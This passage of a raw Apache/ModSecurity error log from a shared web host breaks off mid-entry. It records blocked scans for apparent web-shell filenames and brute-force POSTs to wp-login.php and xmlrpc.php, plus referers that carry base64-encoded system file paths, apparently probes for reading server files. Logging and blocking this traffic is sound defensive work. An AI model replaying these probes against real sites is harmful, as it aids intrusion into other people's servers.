[Sat Jun 13 18:07:15.367751 2026] [access_compat:error] [pid 531155:tid 531212] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0MS9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:07:15.385086 2026] [security2:error] [pid 531155:tid 531321] [client 191.234.188.123:30480] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/re.php"] [unique_id "ai3wsymiP80klyS0NnrjjAAAAS4"] [Sat Jun 13 18:07:15.418901 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:15.419360 2026] [access_compat:error] [pid 531155:tid 531241] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:15.505109 2026] [security2:error] [pid 531797:tid 532007] [client 192.185.4.137:27068] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "155"] [id "900406"] [msg "wp-login POST logging"] [data "200"] [hostname "sydgps.cl"] [uri "/wp-login.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FIAACHyE"], referer: https://sydgps.cl/wp-login.php [Sat Jun 13 18:07:15.662383 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.94:40320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:15.662681 2026] [access_compat:error] [pid 531797:tid 531924] [remote 57.141.14.94:40320] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:15.852337 2026] [security2:error] [pid 531155:tid 531286] [client 148.113.209.179:39400] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wsymiP80klyS0NnrjlQAAAQs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:15.863108 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:07:15.863387 2026] [access_compat:error] [pid 531155:tid 531235] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ni9tb3VzZTIvc3Vic3lzdGVtL2lucHV0Ni9wb3dlcg== [Sat Jun 13 18:07:15.919660 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:15.919932 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:15.944161 2026] [security2:error] [pid 531797:tid 532059] [client 20.151.217.54:58193] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FNAAAAlE"] [Sat Jun 13 18:07:15.968564 2026] [security2:error] [pid 531797:tid 532029] [client 191.233.234.186:41511] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.kawasakiz1.com"] [uri "/dccs.php"] [unique_id "ai3ws8TA7b1mZrmcA-8FNwAAAjQ"] [Sat Jun 13 18:07:16.080599 2026] [security2:error] [pid 531797:tid 532081] [client 148.113.209.179:39416] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FPAAAAmc"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:16.109488 2026] [security2:error] [pid 531797:tid 532096] [client 191.234.188.123:47958] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/cibai.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FPwAAAnU"] [Sat Jun 13 18:07:16.109577 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.2:56223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:16.109867 2026] [access_compat:error] [pid 531155:tid 531248] [remote 57.141.14.2:56223] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:16.168577 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.99:59330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:16.169012 2026] [access_compat:error] [pid 531797:tid 531927] [remote 57.141.14.99:59330] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:16.173762 2026] [security2:error] [pid 531797:tid 532113] [client 20.151.217.54:58124] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/this_is_a_new_hello_world.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FRgAAAoY"] [Sat Jun 13 18:07:16.245992 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.103:30050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:16.246398 2026] [access_compat:error] [pid 531797:tid 531870] [remote 57.141.14.103:30050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:16.318822 2026] [security2:error] [pid 531797:tid 532085] [client 20.151.217.54:58132] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/wpconf.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FUAAAAms"] [Sat Jun 13 18:07:16.382102 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:16.382387 2026] [access_compat:error] [pid 531155:tid 531266] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:16.425451 2026] [security2:error] [pid 531155:tid 531410] [client 20.29.78.145:46931] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 145.78.29.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "sxo.tcq.mybluehost.me"] [uri "/wp-admin/js/index.php"] [unique_id "ai3wtCmiP80klyS0NnrjqQAAAYc"] [Sat Jun 13 18:07:16.456839 2026] [security2:error] [pid 531797:tid 532104] [client 20.151.217.54:58205] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/Ov-Simple1.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FVQAAAn0"] [Sat Jun 13 18:07:16.467194 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:16.467635 2026] [access_compat:error] [pid 531155:tid 531218] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50NS9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2U= [Sat Jun 13 18:07:16.617301 2026] [security2:error] [pid 531155:tid 531297] [client 20.151.217.54:58123] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/atomlib.php"] [unique_id "ai3wtCmiP80klyS0NnrjrwAAARY"] [Sat Jun 13 18:07:16.760935 2026] [security2:error] [pid 531797:tid 532100] [client 20.151.217.54:58181] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/loxico93.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FXwAAAnk"] [Sat Jun 13 18:07:16.780226 2026] [security2:error] [pid 531797:tid 532114] [client 20.9.67.71:54548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.67.9.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "autodiscover.pempaleh.com"] [uri "/wp-form.php"] [unique_id "ai3wtMTA7b1mZrmcA-8FYgAAAoc"] [Sat Jun 13 18:07:16.955165 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:16.955602 2026] [access_compat:error] [pid 531155:tid 531232] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L2xpYjY0L3BpcGV3aXJlLTAuMw== [Sat Jun 13 18:07:16.962549 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.56:57654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:16.962945 2026] [access_compat:error] [pid 531797:tid 531922] [remote 57.141.14.56:57654] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:16.979467 2026] [security2:error] [pid 531155:tid 531378] [client 20.151.217.54:58216] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/momo.php"] [unique_id "ai3wtCmiP80klyS0NnrjuQAAAWc"] [Sat Jun 13 18:07:16.998782 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:16.999227 2026] [access_compat:error] [pid 531155:tid 531172] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDIvY2FwYWJpbGl0aWVz [Sat Jun 13 18:07:17.023924 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.47:21304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:17.024368 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.47:21304] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:17.116726 2026] [security2:error] [pid 531797:tid 532004] [client 20.151.217.54:58198] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/asu.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FbwAAAhw"] [Sat Jun 13 18:07:17.202830 2026] [security2:error] [pid 531797:tid 532109] [client 172.56.168.133:31780] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FcgAAAoI"] [Sat Jun 13 18:07:17.202984 2026] [security2:error] [pid 531797:tid 532109] [client 172.56.168.133:31780] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FcgAAAoI"] [Sat Jun 13 18:07:17.218391 2026] [security2:error] [pid 531797:tid 531867] [remote 17.241.75.63:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FcwACdgM"] [Sat Jun 13 18:07:17.263599 2026] [security2:error] [pid 531797:tid 532017] [client 20.151.217.54:58114] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/wolf.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FdwAAAik"] [Sat Jun 13 18:07:17.366982 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.59:48289] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:07:17.367275 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.59:48289] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:07:17.408713 2026] [security2:error] [pid 531797:tid 532112] [client 20.151.217.54:58202] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/rum.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FfAAAAoU"] [Sat Jun 13 18:07:17.450311 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:07:17.450583 2026] [access_compat:error] [pid 531155:tid 531264] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vaW5wdXQwL3N1YnN5c3RlbS9pbnB1dDUvZGV2aWNl [Sat Jun 13 18:07:17.474602 2026] [security2:error] [pid 531797:tid 532005] [client 148.113.209.179:39418] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wtcTA7b1mZrmcA-8FfwAAAh0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:07:17.544925 2026] [security2:error] [pid 531155:tid 531391] [client 20.151.217.54:58142] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/cxl.php"] [unique_id "ai3wtSmiP80klyS0NnrjwgAAAXQ"] [Sat Jun 13 18:07:17.559499 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:17.559966 2026] [access_compat:error] [pid 531155:tid 531279] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3N5cy9kZXYvYmxvY2svODoxNg== [Sat Jun 13 18:07:17.687831 2026] [security2:error] [pid 531155:tid 531331] [client 20.151.217.54:58225] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.hy-estates.com"] [uri "/flox.php"] [unique_id "ai3wtSmiP80klyS0NnrjxgAAATg"] [Sat Jun 13 18:07:17.702110 2026] [security2:error] [pid 531797:tid 532037] [client 148.113.209.179:39420] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname 